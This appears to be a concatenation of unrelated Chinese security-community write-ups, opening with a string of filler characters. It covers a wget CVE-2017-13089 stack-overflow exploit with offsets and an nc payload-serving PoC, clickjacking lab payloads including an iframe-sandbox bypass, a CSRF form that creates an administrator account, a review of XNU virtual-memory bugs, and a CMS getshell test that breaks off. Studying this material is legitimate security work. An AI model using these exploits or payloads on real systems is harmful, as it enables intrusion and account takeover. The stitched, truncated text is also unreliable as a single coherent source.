AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
##### 漏洞复现
下图为复现过程
##### 分析
利用分析工具以及payload的相关特性，
我们根据分析工具的分析结果，除却引发漏洞的异常抛出外，我们发现了一个特别的函数`skip_short_body`。
static bool skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP (("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;
}
contlen -= ret;
if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (line == NULL)
return false;
else
xfree (line);
}
}
/* Safe even if %.*s bogusly expects terminating \0 because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));
}
DEBUGP (("] done.\n"));
return true;
}
根据这段代码逻辑，我们可以简单的理出一个简单的代码逻辑。
wget 在检测 short_body 的时候 先要检测出传输的块的大小，假若传入的块的大小的值不大于 4096 则进入进入这个漏洞的受害逻辑内。
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
从这段代码中分析出，`contlen = MIN (remaining_chunk_size, SKIP_SIZE);`
只需小于512时，`contlen` 可控，综合上述代码逻辑，可以得出`remaining_chunk_size`
位负值时，`contlen`为可控向量。在后面的代码逻辑中，`fd_read()` 使用了该受控制的向量，引发了缓冲区溢出漏洞。
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}
我们可以看到在利用GDB进行调试的情况下，成功控制了利用溢出成功劫持了下一步执行的地址。
进入栈执行
利用成功演示
##### EXP 构造
EXP的构造主要有2个要点:
* 第一 栈的定位
* 第二 偏移量
偏移量这个点，根据写入栈的地址以及控制返回的栈地址我们可以得出，能够控制 RBP
的地址在写入栈的地址后的568位。因此，我们在构造EXP时，将即将控制栈的地址在shellcode 的568位后写入，即可实现对指针的控制。
* * *
### 0x02 POC
ShellCode生成脚本：
<https://github.com/mzeyong/CVE-2017-13089>
使用方式：
`python shellcode.py & nc -lp 80 < payload`
该 ShellCode会在目标机器开启一个新的 shell，无其他危害，仅为演示证明漏洞存在。如果有小伙伴对通用型exp构造有兴趣可以一起交流！！！ | 社区文章 |
# 梨子带你刷burpsuite靶场系列之客户端漏洞篇 - 点击劫持专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 客户端漏洞篇介绍
> 相对于服务器端漏洞篇，客户端漏洞篇会更加复杂，需要在我们之前学过的服务器篇的基础上去利用。
## 客户端漏洞篇 – 点击劫持专题
### 什么是点击劫持？
点击劫持，就是诱导受害者点击页面上透明的按钮或链接以发送一些恶意的请求。我们生活中就会遇到很多点击劫持，比如弹窗广告之类的。这是通过iframe技术在页面的最上层设置一个透明的按钮或链接，当用户误以为是点击页面上的按钮或链接时其实是点击的透明的按钮或链接，就神不知鬼不觉地触发了某些恶意请求。它和CSRF的区别就是，点击劫持是一定要受害者点击才会触发的。而且CSRF
Token不能用于抵御点击劫持攻击，因为毕竟是受害者主动点击导致发送的请求。
### 如何构造基础的点击劫持攻击？
点击劫持利用css去创建和操作图层，然后再利用iframe将恶意链接或按钮覆盖在页面最上层。例如
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
我们通过css让iframe层在原本页面层的上面，然后调整位置与页面中的诱导物重合，为了避免透明度检测，所以透明度设置了尽可能地最低。
### 配套靶场：使用CSRF Token防护的基础点击劫持
因为点击劫持不管怎么看都是由用户真实发出的请求，所以CSRF
Token对于点击劫持是没有防护效果的。点击劫持的重点就是要对准，因为梨子使用的是Firefox
Deleoper版，有一个标尺工具可以让我们精准地获取按钮的位置。
得到准确的尺寸以后我们就可以构造payload了
然后将其存储到Exploit
Server，当受害者接收到投放的页面以后就会因为点击劫持删除指定用户，这里要注意的是，千万不要自己点，因为删除操作只能执行一次，如果误删了，要等当前的靶场环境过期了才能再次开启靶场，而且靶场过期的时间是大约20分钟，burp并没有给出具体过期时间，这将是非常漫长的等待。
### 使用预填充表单输入的点击劫持
有的站点允许通过GET参数的方式预填充表单，而不需要用户再手动输入，搭配上点击劫持就会当用户提交表单时提交预填充的表单。
### 配套靶场：使用从URL参数预填充的表单输入数据的点击劫持
这道靶场的利用方式与上面类似，只需要将iframe的src替换成带有参数值的URL即可
这个位置和标准答案肯定会有出入的，需要不断调，切记不要真的点击，看看位置就好了
### 破坏框架脚本
从前面我们了解到，只要可以框架化的站点都可能遭受点击劫持攻击。所以我们需要编写脚本去打破这些框架。可以通过JS附加组件或者扩展程序(如NoScript)实现。这些脚本需要实现下面功能。
* 检查并强制将当前应用程序窗口设置为主窗口或顶级窗口
* 让所有框架不透明化
* 阻止点击透明的框架
* 拦截并标记潜在的点击劫持攻击位置
但是这种技术是特定于浏览器和平台的，而且因为HTML比较灵活，攻击者有很多方法来绕过。并且有的浏览器阻止运行破坏框架脚本或者不支持运行JS脚本。攻击者采用HTML5的iframe沙箱属性来绕过破坏框架脚本。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>
### 配套靶场：有破坏框架脚本的点击劫持
我们在页面中发现了一个破坏框架脚本
这个脚本会检查该页面是不是最顶层，如果不是就返回false。所以我们要利用前面提到的方法绕过这个脚本的检测。
这样我们又可以发动点击劫持攻击了。
### 结合点击劫持和DOM XSS的攻击
这是一种利用DOM XSS和iframe技术结合起来的攻击方式。在iframe的点击劫持中附加DOM
XSS的payload，当受害者点击时即可同时触发DOM XSS。
### 配套靶场：利用点击劫持漏洞触发DOM XSS
我们要找一下有没有相关DOM的操作，发现一个JS脚本(/resources/js/submitFeedback.js)，我们看看里面有什么有价值的东西。
发现这里存在DOM XSS漏洞点，于是我们利用点击劫持将DOM XSS payload预填充到name框中
这样就可以利用点击劫持触发DOM XSS了
### 多重点击劫持
有的时候，需要诱导用户点击多处隐藏的按钮或者链接才能成功实现恶意的目的。下面我们通过一道靶场来讲解。
### 配套靶场：多重点击劫持
因为要点击两个地方才可以，所以我们的payload也是要设置两个透明的按钮
这两个按钮的位置也是要自己开启标尺以后调的，非常方便。
### 如何缓解点击劫持攻击？
burp介绍了两种从服务器端缓解点击劫持攻击的方法，具体能不能有效实施还要看浏览器层面。
### X-Frame-Options
一开始这个标头被用于IE8的非官方响应头使用的，后面被各浏览器采用。我们通过设置值来限制框架化操作。例如
`X-Frame-Options: deny`
上面这条表示拒绝任何框架化操作，但是也可以限制框架化的来源为同源。
`X-Frame-Options: sameorigin`
也可以设置为指定源
`X-Frame-Options: allow-from https://normal-website.com`
如果将该响应头与CSP结合使用，效果更佳。
### 内容安全策略(CSP)
XSS篇我们介绍过CSP，我们也可以使用CSP来缓解点击劫持攻击。例如
`Content-Security-Policy: frame-ancestors 'self';`
这条与X-Frame-Options: sameorigin效果类似，也可以设置为指定源。
`Content-Security-Policy: frame-ancestors normal-website.com;`
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之客户端漏洞篇 –
点击劫持专题的全部内容啦，本专题主要讲了点击劫持漏洞的形成原理、利用、防护、绕过防护等，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
## 前言
最近入坑了PHP代码审计，从网上下了几套CMS尝试着练习一下，不得不说现在还在更新的大多数CMS安全性还是不错的，动不动就是源代码加密，配置360、阿里云的过滤文件。。。还好折腾了一段时间后在一个CMS中发现了CSRF漏洞，也算是对这一阵子的学习有一个交代。
## 场景复现
后台页面
我们看一下添加系统用户的后台处理代码
public function addUser() {
if (IS_POST) {
//用户组
$group_id = I('group_id', array());
$department = I('department', array());
if (empty($department)) {
$this->error('请选择部门');
}
if (empty($group_id)) {
$this->error('请选择职位');
}
//M验证
$validate = array(
array('username', 'require', '用户名不能为空！'),
array('password', 'require', '密码不能为空！'),
array('password', '5,20', '密码必须在5到20位之间', 0, 'length'),
array('username', '', '用户名已经存在！', 0, 'unique', 1),
);
$data = M('Admin');
if (!$data->validate($validate)->create()) {
$this->error($data->getError());
}
$password = get_password($data->password);
$data->password = $password['password'];
$data->encrypt = $password['encrypt'];
$data->status = I('status', 0, 'intval');
$data->department = implode(',', $department);
$data->login_time = date('Y-m-d H:i:s');
$data->login_ip = '';
if ($id = $data->add()) {
$group_data = array();
foreach ($group_id as $key => $val) {
$group_data[] = array('uid' => $id, 'group_id' => $val);
}
$result = M('AuthGroupAccess')->addAll($group_data);
if ($result) {
$this->success('添加成功', U('indexOfUser'));
} else {
$this->error('权限设置失败|用户添加成功');
}
} else {
$this->error('添加失败');
}
exit();
}
$_vListOfDepartment = M('Department')->order('sorting ASC, id ASC')->select();
$vListOfDepartment = \Common\Lib\Category::toTree($_vListOfDepartment);
$vListOfGroup = M('AuthGroup')->where(array('status' => 1))->select();
$this->meta_title = "添加管理员";
$this->assign('vListOfDepartment', $vListOfDepartment);
$this->assign('vListOfGroup', $vListOfGroup);
$this->setAssign();
$this->display();
}
## 漏洞利用
### 添加系统管理员
可以发现，处理代码中没有token一类的随机数防御机制，可以尝试创建一个包含恶意代码的页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/daimashenji/xyhcms_v3.5_20180518/xyhai.php?s=/Auth/addUser" method="POST">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="department[]" value="1" />
<input type="hidden" name="department[]" value="4" />
<input type="hidden" name="department[]" value="3" />
<input type="hidden" name="group_id[]" value="1" />
<input type="hidden" name="realname" value="hello" />
<input type="hidden" name="email" value="111@qq.com" />
<input type="hidden" name="is_lock" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
使用登陆过管理员的浏览器点开该页面，回到后台，可以发现成功添加了新的管理员
## 防御建议
1. 增加验证码机制
2. 增加一个随机生成的参数token，后台处理时进行验证
**ps：使用token时需要做好xss防御，如果攻击者找到xss漏洞，token也很有可能被窃取而导致防御失效** | 社区文章 |
**作者：王铁磊**
**原文链接：<https://mp.weixin.qq.com/s/Lj8c5PLzLGIfdBoDzairsQ>**
## 1 引言
虚拟内存 (Virtual Memory, VM)
⼦系统是现代操作系统基础核⼼组件，不仅负责虚拟地址和物理内存的映射关系，管理调度物理内存的使⽤，为程序开发提供统⼀透明的地址空间，同时也要为不同执⾏环境提供隔离，管控物理页⾯读、写、执⾏等权限，是系统安全的基⽯。由于VM⼦系统需要同时兼顾性能、效率、透明性和安全等⽬标，导致VM⼦系统在实现过程中逻辑⼤多异常复杂，VM⼦系统中的各种优化策略也就成了"逻辑错误"类型漏洞的重灾区。
本⽂以iOS、macOS操作系统的内核XNU为例，回顾⼀些与XNU
VM⼦系统相关的历史漏洞；通过分析这些漏洞的成因，梳理VM⼦系统逻辑漏洞的脉络，希望能给其他安全研究带来⼀些启发。
## 2 未预期的破坏
VM⼦系统的⼀个经典功能是Swap，是指在调度物理页⾯时，VM系统可能会将部分物理页⾯转储⾄磁盘从⽽获得⾜够的物理空间；当这些转储的物理页⾯被真正访问时，VM⼦系统再从Swap⽂件中恢复原始物理页⾯内容。
2017年，Google Project 0研究员Ian Beer与Jann
Horn在头脑风暴中，想到⼀个问题，这个Swap⽂件能否被篡改破坏？与其百思不解，不如简单⼀试。macOS系统上，Swap⽂件路径是/private/var/vm/swapfifile0。Ian
Beer简单粗暴的⽤随机数据覆盖了该⽂件：
结果也⽐较粗暴，内核直接崩溃了[1]。这意味着macOS上在SIP[2]
保护机制并没有保护这个Swap⽂件。在处理被破坏的Swap⽂件时，内核出现了内存错误。⼤胆思考，勇于尝试，是亘古不变的道理。
## 3 未预期的共享
共享内存 (Shared Memory)
是操作系统中实现进程间通信的重要⽅式，通过把相同的物理页⾯映射在不同执⾏体的虚拟地址空间，使双⽅都能访问同样的物理页⾯，不仅能减少物理页⾯的使⽤，也能避免通信过程中传输⼤块数据，从⽽提⾼通信的效率。不过，如果多⽅对同⼀块内存都具有写权限时，维护内存⼀致性变得很困难，"竞争写"也容易引发很多安全问题。
共享内存的双取 (Double Fetch)
是⼀类⾮常典型的安全漏洞成因。下表展⽰了⼀个简单的双取漏洞：第⼀个⾏调⽤strlen计算共享内存中⼀个字符串的长度；第⼆⾏根据该长度分配⼀个本地堆内存；第三⾏调用strcpy把共享内存中的字符串复制到新分配的本地内存中。这三⾏代码的问题在于，因为C
string以\0为截⽌符，strlen扫描字符串时以第⼀次遇到的\0计算当前字符串的长度，同样， strcpy
复制字符串时，直到遇到的\0才会终⽌复制。⽽共享内存另⼀端控制者，可以在strlen和strcpy之间，把第⼀个\0修改为⾮零字符，这导致strcpy会复制过多字符到
local_buffer 中，造成堆溢出。
随着系统复杂性的增⾼、系统通信层级越来越多，底层开发者与应⽤开发者针对数据传输和使⽤的视⾓很难统⼀，导致很多情况下数据是以⾮预期的共享内存形式传递的，造成很多安全问题。接下来，我们来看⼏个⾮预期共享的案例。
### 3.1 CVE-2017-7047：xpc_data共享内存传输
XNU提供了基于Mach Port和Mach
Message的灵活通信机制。在MachMessage基础上，⽤户态进⼀步封装了libxpc框架，提供了字典、队列、字符串、纯数据等常见数据结构的封装；在libxpc基础上，又封装了NSXPC框架，重点⽀持远程对象和⽅法调⽤。
XNU通信架构
2017年，Ian Beer发现，libxpc在传输xpc_data时，如果数据长度超过0x4000，会调⽤
mach_make_memory_entry_64创建虚拟内存的mach port，然后将mach port发送出去；接收⽅收到这个mach
port后，调⽤mach_vm_map将port对应的虚拟内存再映射到本地。具体流程如下图所⽰。
大块xpc_data传递 (发送方使用MAP_MEM_VM_COPY标志)
为避免共享内存的隐患，发送⽅调⽤ mach_make_memory_entry_64时，使⽤了
MAP_MEM_VM_COPY标志。结合XNU中的注释，不难理解使⽤这个标志位创建mach
port过程中，会创建数据的副本。这样接收⽅通过mach_vm_map再次映射后，获得的也是数据副本。这其实是⼀种将xpc_data以写时复制(Copy-on-Write, COW)形式传递的实现⽅式，避免了xpc_data的完全共享。
然⽽，Ian Beer敏锐地发现，这种COW依赖于发送⽅创建mach
port时指定MAP_MEM_VM_COPY标志。对于"恶意"发送⽅，完全可以创建⼀个全共享内存的port，然后发送给接收⽅。这样通过mach_vm_map简单映射获得的虚拟地址，会和发送⽅完全共享物理页⾯。这样⼀来，接收⽅使⽤xpc_data时就可能存在双取问题。
Ian
Beer继续追踪系统中对xpc_data的不安全使⽤。NSXPC是在libxpc基础上，在进程间通信中⽀持远程对象和远程⽅法调⽤。在实现中，这些远程对象和⽅法调⽤经序列化后由xpc_data发送。Ian
Beer在这个反序列化过程中，把⼀个双取问题转换成了堆溢出，实现了针对任意NSXPC服务的原型攻击 [4]。
Apple的漏洞修复⽅案也很清晰。在传输xpc_data过程中，不再信任发送⽅，⽽是在接收⽅调⽤mach_vm_map时，强制开启copy选项，也就是以COW形式映射。这样发送⽅对
xpc_data 的任何修改都不会传递到接收⽅，避免了双取问题。
大块xpc_data传递 (接收方强制mach_vm_map使用copy选项)
### 3.2 IOKit Out-of-line数据
IOKit是XNU的驱动开发框架，提供了⽤户态程序、内核、设备之间的通信接口。其中，⽤户态程序可以通过 IOConnectCallMethod
接口与内核驱动传递数据。当⽤户态传⼊⼤块数据时（Out-of-line, OOL），系统会创建
IOMemoryDescriptor，将该段数据映射到内核供驱动使⽤。然⽽XNU-3789.31.2版本之前，IOKit开发者没有意识到，这段数据实际是以共享内存形式存在的。IOKit框架和具体驱动开发者之间并没有清晰界定OOL数据的存在形态，以⾄于很多驱动实现中都有双取漏洞。更多漏洞细节可以参考Flanker的blog
[5]。
OOL 双取漏洞实例
例如，在macOS显卡驱动中， IOAccelDisplayPipePostCSCGammaVID::init
函数在处理OOL输⼊时，会根据OOL内的⼀个整数调⽤ IOMalloc 分配内存，然后再次读取该整数⽤于 memcpy
。这种典型的双取漏洞造成极容易利⽤的堆溢出[6]。
鉴于太多驱动开发者都没有意识到OOL数据是通过共享内存传递的，逐⼀纠正驱动开发者的代价太⼤，Apple在XNU-3789.31.2中，直接将OOL数据以COW形式映射。相应的补丁如下。通过使⽤
kIOMemoryMapCopyOnWrite 标志，确保内核获得的数据副本不会存在双取问题。
OOL COW映射补丁
### 3.3 Apple Neural Engine共享内存问题
IOKit处理OOL时犯过的错误，也会反应在单独的驱动中。除了直接使⽤OOL数据，IOKit驱动也可以⾃⾏映射⽤户态内存⾄内核使⽤。2018年，Apple推出了A12仿⽣芯⽚，搭载了强⼤的神经⽹络引擎。相应地，iOS内核中也增加⼀个H11ANEIn驱动，⽤于处理神经⽹络引擎的相关计算请求。H11ANEIn需要⼤量异步处理，IOKit框架提供的OOL数据并不适合其计算需求，因此H11ANEIn直接根据⽤户态提供的地址创建了
IOMemoryDescriptor 。
不幸的是，H11ANEIn开发者显然不清楚IOKit的历史旧账，在创建IOMemoryDescriptor时，仅使⽤了
kIODirectionOutIn参数，也就是“读写”权限。H11ANEIn在使⽤这段数据时更加肆意，直接把⼀个Port指针保存在这段内存。因为这段内存被内核和⽤户态共享，⽤户态不仅可以直接获取这个Port指针造成内核地址空间的信息泄漏，也能直接任意替换这个Port指针，通过伪造Port指针获取内核控制权[7]。这个漏洞⾃iOS
12版本引⼊，直到iOS 13.6才被修复；上⽂IOKit框架处理OOL数据的问题隐藏的更久，这些也印证了⾮预期共享问题的隐蔽性。
## 4 复杂的COW
对于⾮预期共享类型的问题，⼀个直接的修复⽅案就是以写时复制(Copy-on-Write,
COW)分享数据。COW是VM⼦系统的⼀个经典优化策略，其核⼼思想是同⼀个物理页⾯可以同时映射在不同进程的虚拟地址空间内，任意⼀⽅试图修改物理页⾯内容时，系统会为其分配⼀个原物理页⾯的副本页⾯，这样写操作最终作⽤在副本页⾯，⽽不会影响原始页⾯，从⽽这个写操作也不会被另⼀⽅所感知。COW原理简单⽽实现复杂。很多操作系统在COW的实现上出现过问题，例如2016年Linux系统中的脏⽜
(Dirty COW) 漏洞。下⾯我们看⼏个XNU中COW相关的安全问题。
COW 意图
### 4.1 既共享又COW (CVE-2017-2456)
COW通常把⼀个物理页⾯以read-only权限映射到两个虚拟地址，然后任意⼀个虚拟地址发⽣写操作的时候，系统会捕获页⾯写异常，在异常处理过程中复制新的物理页⾯并更新映射关系。如果虚拟地址VA和虚拟地址VB是COW关系，⽽虚拟地址VA和虚拟地址VC是完全共享关系，即同⼀个物理页⾯被映射到三个（甚⾄更多）虚拟地址时，系统如何处理通过虚拟地址VC发⽣的写操作呢？这并不是⼀个容易回答的问题。
COW 和完全共享同时存在
带着这个疑虑，Lokihardt做了⼀个测试 [2]。他创建了⼀个Memory
entryport后，通过完全共享的形式把这个内存页⾯映射在两个不同的虚拟地址VA和VC。然后将VA通过复杂消息 Mach
Message发送到另⼀个进程。根据MachMessage的传递规则，消息接收⽅会以COW的形式映射VA对应的物理内存⾄虚拟地址VB。但是，Lokihardt发现此时在发送⽅修改VC内容，并不会触发系统的COW语意；换⽽⾔之，通过VC的所有写，在VB端全部可见。Lokihardt基于这个思路，在libxpc反序列过程中发现了内存双问题，利⽤双取引发的内存溢出，实现了对任意libxpc服务的攻击
(CVE-2017-2456)。在修复这个漏洞时，XNU严格检查了物理页⾯是否多重映射，确保COW的⼀致性。
CVE-2017-2456的修复
### 4.2 隐蔽的写操作
COW实现的⼀个关键点在于：捕获写操作。这个问题似乎很简单，将物理地址以只读权限映射，写操作⾃然就会触发异常。但是如果写操作并不是通过虚拟地址来实现，COW就可能出现问题。
iOS设备上配备了专门的协处理器⽀持快速图像缩放、⾊彩转换等操作。内核中通过⼀个名为AppleM2Scaler的驱动协调⽤户态和协处理器的通信。对于图像缩放，本质上是⽤户态指定⼀个⽬标内存区域和⼀个源内存区域，AppleM2Scaler通知协处理器通过DMA⽅式直接从源内存区域读取数据处理后写⼊⽬标区域。然⽽，AppleM2Scaler忽略了⽤户态内存的读写属性。这导致⽤户态应⽤可以通过AppleM2Scaler驱动修改任意只读内存。
这个漏洞⽐Linux上的脏⽜漏洞还要严重。2018年，陈良利⽤该漏洞
[8]，在应⽤程序内存空间内修改了⼀块只读内存；这块只读内存本来仅内核可写，内核在使⽤这些数据时不再进⾏验证；陈良利⽤AppleM2Scaler篡改这段只读内存后触发内核其他漏洞，实现iOS的越狱。
这个漏洞还有很多其他利⽤⽅式。iOS设备上动态链接库都被提前链接保存在⼀个shared cache⽂件中。这个shared
cache在设备启动之初，被加载映射到内存中。随后所有启动的进程，都会共享这个shared
cache内存。当然对于其中的代码页⾯，应⽤程序仅具有读+执⾏的权限。AppleM2Scaler这个漏洞可以直接篡改shared
cache代码页⾯，造成在⾼权限进程中的任意代码执⾏。值得⼀提的是，iOS设备上开启了强制代码签名机制。修改代码页⾯后，必须避免系统对页⾯再次进⾏签名验证。这需要通过其他⼀些技巧阻⽌被修改的页⾯触发page
fault。
除了DMA，系统还可能有其他“隐蔽写”操作。Jann Horn针对⽂件映射内存做了⼀些研究
[9,10]，发现了⼀些攻击路径。例如，把⽂件映射到内存后，以COW形式分享给另⼀个进程，此时⽂件内容缓存在物理内存页⾯。当系统内存吃紧时，⽂件内存页⾯会被交换出去；但是Jann
Horn发现，当这些内存页⾯再次被访问时，系统会从磁盘中重新读取⽂件恢复页⾯内容。这就造成了⼀个攻击窗口。如果⽂件来源于攻击者⾃⼰加载的⽂件系统镜像，攻击者可以直接修改(pwrite)
这个⽂件系统镜像从⽽修改相应⽂件内容。这样从⽂件中再次恢复物理页⾯内容时，物理页⾯内容不再与之前页⾯内容⼀致，破坏COW的语意。
### 4.3 危险的锁
2018年，Ian Beer 发现XNU在处理COW映射时，有这样⼀个优化策略：当⼀个进程通过mach
message把⼀个虚拟地址VA对应的内存以COW形式发送出去，并且在mach
message中指明消息发送后就在本地释放虚拟地址VA时，XNU会忽略COW⽽直接把
VA对应的内存项移到接收⽅，省掉了将内存变为COW所需的页⾯权限修改的过程。
然⽽，这个优化策略实现的过程中存在条件竞争
[11]，导致⼀个进程可以同时把VA发送给另⼀个进程和⾃⾝。这样另外⼀个进程和⾃⾝进程都作为这个VA的接收⽅，都会获取这个VA对应内存的访问权限；⽽根据优化策略，这两次接受都不会激活COW复制。Ian
Beer利⽤这个特性，在A12机型上重现了上⽂Lokihardt针对libxpc反序列化的双取漏洞攻击。
Ian Beer在2018年12⽉报告了这个问题，Apple在2019年初对该问题做了⼀次修复。差不多时隔⼀年后，2019年10⽉Ian
Beer再次分析这个漏洞时，发现由于条件竞争的复杂性，Apple的这次修复并不完整。Ian Beer再次提交了PoC。根据Ian Beer
的报告，Apple在2020年初再次对漏洞修复。
## 5 结语
本⽂回顾了XNU在VM管理层⾯的⼀些历史漏洞，尤其是围绕COW实现的各个环节，分析了各种的漏洞成因。尽管这些漏洞已经修复，其实还有很多开放性问题是本⽂没有解答的。例如，Apple针对这些漏洞的修复是否完备？有没有其他途径绕过这些修复？随着系统功能的不断变化，会不会再次引⼊未预期的共享？除了⽂件映射内存和DMA，系统中是否还存在隐蔽的写操作绕过COW？现有的COW实现是不是还有漏洞？希望这些问题能引发⼤家的思考，激发⼤家灵感去寻找新的安全问题。
## 6 参考文献
1. MacOS uses an insecure swap file. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1131>, 2017.
2. About System Integrity Protection on your Mac. <https://support.apple.com/en-us/HT204899>
3. macOS/IOS: mach_msg doesn't copy memory in a certain case. <https://bugs.chromium.org/p/project-zero/issues/detail?d=1083>. 2017.
4. Many iOS/MacOS sandbox escapes due to unexpected shared memory-backed xpc_data object. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1247>. 2017.
5. Racing for everyone: descriptor describes TOCTOU in Apple’s core. <https://blog.flanker017.me/racing-for-everyone-escriptor-describestoctou/>
6. Pwning the macOS Sierra Kernel Inside the Safari Sandbox. <https://github.com/wangtielei/Slides/blob/main/Shakacon_2017.pdf>
7. Don’t place a port in shared memory. <https://blog.pangu.io/?p=221> .
8. KeenLab iOS Jailbreak Internals. <https://i.blackhat.com/us-18/Wed-August-8/us-18-Chen-KeenLab-iOS-Jailbreak-Internals.pdf>
9. XNU: copy-on-write behavior bypass via partial-page truncation of file. <https:// bugs.chromium.org/p/project-zero/issues/detail?id=1725. 2018.
10. XNU: copy-on-write behavior bypass via mount of user-owned filesystem image. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1726>.2018.
11. XNU vm_map_copy optimization which requires atomicity isn't atomic. <https:// bugs.chromium.org/p/project-zero/issues/detail?id=1728>. 2018.
* * * | 社区文章 |
2019.1.5 下午三点到达图书馆
### 0x01 前期了解
看先知phpoop师傅又双叒贡献了关于74cms的一个洞 好奇一下这个CMS 于是测一下咯。
Code：<http://www.74cms.com/download/index.html>
Version:`74cms_Home_Setup_v4.2.3
这里不知道为什么4.2.3的发布日期为什么会比4.2.1x的早
前期了解：
看了先知phpoop师傅的文章和百度一些资料 注入感觉被挖得差不多了 试试别的。
### 0x02 测试过程
测试环境：`MacOS 10.14` \+ `MAMP Pro` \+ `BurpSuite` \+
[`FileMonitor`](https://github.com/TheKingOfDuck/FileMonitor)
### 0x02_1 安装测试
上来就注意到写出了日志
内容为：
[ 2019-01-05T16:27:25+08:00 ] 127.0.0.1 /install.php
INFO: [ app_init ] --START-- INFO: Run Behavior\BuildLiteBehavior [ RunTime:0.000051s ]
INFO: [ app_init ] --END-- [ RunTime:0.001199s ]
INFO: [ app_begin ] --START-- INFO: Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.001016s ]
INFO: [ app_begin ] --END-- [ RunTime:0.001140s ]
INFO: [ view_parse ] --START-- INFO: [ template_filter ] --START-- INFO: Run Behavior\ContentReplaceBehavior [ RunTime:0.000124s ]
INFO: [ template_filter ] --END-- [ RunTime:0.000262s ]
INFO: Run Behavior\ParseTemplateBehavior [ RunTime:0.016973s ]
INFO: [ view_parse ] --END-- [ RunTime:0.017170s ]
INFO: [ view_filter ] --START-- INFO: Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000629s ]
INFO: [ view_filter ] --END-- [ RunTime:0.000745s ]
INFO: [ app_end ] --START-- INFO: Run Behavior\ShowPageTraceBehavior [ RunTime:0.001023s ]
INFO: [ app_end ] --END-- [ RunTime:0.001153s ]
没有什么敏感信息 留到后面看。
安装完成后日志文件会由`/install/Runtime/Logs/Home/19_01_05.log`目录 移动到
`/install/Runtime/Logs/Home/1546677195-19_01_05.log`目录 需要注意日志命名发生变化了。
安装中间环节测试未发现其他问题。
### 0x02_2 后台测试
在测试后台-系统-网站配置功能时发现 修改配置后程序会删掉原配置文件 重新创建新配置文件
难道刚刚修改的内容是写入到`data/Runtime/Data/config.php`文件 而不是写入数据库？
果不其然 的确写到了这个php文件 进过测试发现 改cms其他配置均为写到php文件 而不是数据库 这不是意味着可以找个合适的点来构造payload写入文件
达到getshell的目的
